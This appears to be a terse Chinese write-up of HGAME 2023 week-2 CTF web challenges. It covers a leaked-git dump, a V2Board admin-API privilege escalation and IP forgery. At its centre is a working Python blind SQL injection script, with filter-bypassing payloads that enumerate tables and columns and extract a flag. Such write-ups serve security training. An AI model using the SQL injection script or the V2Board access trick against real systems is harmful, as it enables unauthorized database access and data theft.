HGAME2023_WP_WEEK2
Githack一波带走,下载得到flag
搜索得知V2Board存在越权漏洞,随便注册个账号拿到authorization
访问/api/v1/admin/user/fetch?pageSize=10¤t=1
拿到token值,hgame{39d580e71705f6abac9a414def74c466}
这里发现大写能够绕过过滤,我们写一个盲注脚本
import requests
import string
strs = string.printable
headers = {
'Cookie': 'SESSION=MTY3MzY2MDExM3xEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBZ0FCblZ6WlhJd01RPT18adCvaHER65QoUwkQqK1elOtFjUAT9stHSgpZfPrUWik='
}
flag = ''
def attack(url):
global flag
for i in range(1, 100):
for j in strs:
if j == '%':
continue
tmp = ord(j)
payload = 'DATABASE()'
payload1 = 'SELECT(GROUP_CONCAT(TABLE_NAME))FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA)like(DATABASE())'
payload2 = "SELECT(GROUP_CONCAT(COLUMN_NAME))FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME)like('5ecret15here')"
payload3 = 'SELECT(f14gggg1shere)FROM(5ecret15here)'
data = {
'search_id': f"0||((ascii(substr(({payload3}),{i},1)))like({tmp}))"
}
r = requests.post(url, data=data, headers=headers)
if 'hard disk' in r.text:
flag += j
print(flag)
break
if flag.endswith('}'):
break
if __name__ == '__main__':
url = 'http://week-2.hgame.lwsec.cn:32034/search'
attack(url)
我们写一个xhr请求,让本地来访问就能成功伪造ip,得到true flag
最后我们在vps的web日志里找到请求信息,本想直接输出来着,但没成功
jwt解密得到flag
HGAME2023_WP_WEEK2的更多相关文章
随机推荐
- JavaScript入门①-基础知识筑基
01.JavaScript基础知识 JavaScript(缩写:JS)是一种具有面向对象能力的.解释型的程序语言,基于对象和事件驱动,具有相对安全性的客户端脚本语言.JavaScript是一门完备的 ...
- 编译器优化丨Cache优化
摘要:本文重点介绍几种通过优化Cache使用提高程序性能的方法. 本文分享自华为云社区<编译器优化那些事儿(7):Cache优化>,作者:毕昇小助手. 引言 软件开发人员往往期望计算机硬件 ...
- mysql-DuplicateUpdate和java的threadpool的"死锁"
大家千万不要被文章的标题给迷惑了,他两在本篇文章是没有关系的, 今天给大家讲讲最近2个有意思的issue,分享一下我学到的 mysql DuplicateUpdate的用法要注意的点 java的thr ...
- Java开发学习(四十六)----MyBatisPlus新增语句之id生成策略控制及其简化配置
在前面有一篇博客:Java开发学习(四十一)----MyBatisPlus标准数据层(增删查改分页)开发,我们在新增的时候留了一个问题,就是新增成功后,主键ID是一个很长串的内容. 我们更想要的是按照 ...
- 【每日一题】【BFS&Lambda&重建二叉树】2022年2月15日-根据先序中序重建并输出二叉树的右视图
描述 请根据二叉树的前序遍历,中序遍历恢复二叉树,并打印出二叉树的右视图 思路:重建&层次遍历记录最后一个&Lambda表达式 答案: import java.util.*; publ ...
- Blazor组件自做十三: 使用 Video.js 在 Blazor 中播放视频
Video.js 是一个具有大量功能的流行的视频和音频 JavaScript 库,今天我们试试集成到 Blazor . Blazor VideoPlayer 视频播放器 组件 示例 https://b ...
- 关于 MySQL 嵌套子查询中,无法关联主表字段问题的折中解决方法
今天在工作中写项目的时候,遇到了一个让我感到几乎无解的问题,在转换了思路后,想出了一个折中的解决方案,记录如下. 其实,问题的场景,非常简单: 就是需要查询出上图的数据,红框是从 项目产品表 中查询的 ...
- 15、MySQLTransactionRollbackException: Lock wait timeout exceeded; try restarting transaction
转载自 一.报错信息: Error updating database. Cause: com.mysql.jdbc.exceptions.jdbc4.MySQLTransactionRollback ...
- 03-逻辑综合工具 - Design Compiler
逻辑综合工具DC IC设计流程,市场-->制定spec-->RTL(同时进行sim,通过alint检查RTL有没有错误)-->systhesis(逻辑综合)-->PR(STA) ...
- for循环 rang方法
今日内容 while循环补充说明 1.死循环 真正的死循环是一旦执行 cpu的功耗急剧上升 直到系统采取紧急措施 2.嵌套及全局标志位 强调: 一个break只能结束他所在那一层的循环 如果想一次性结 ...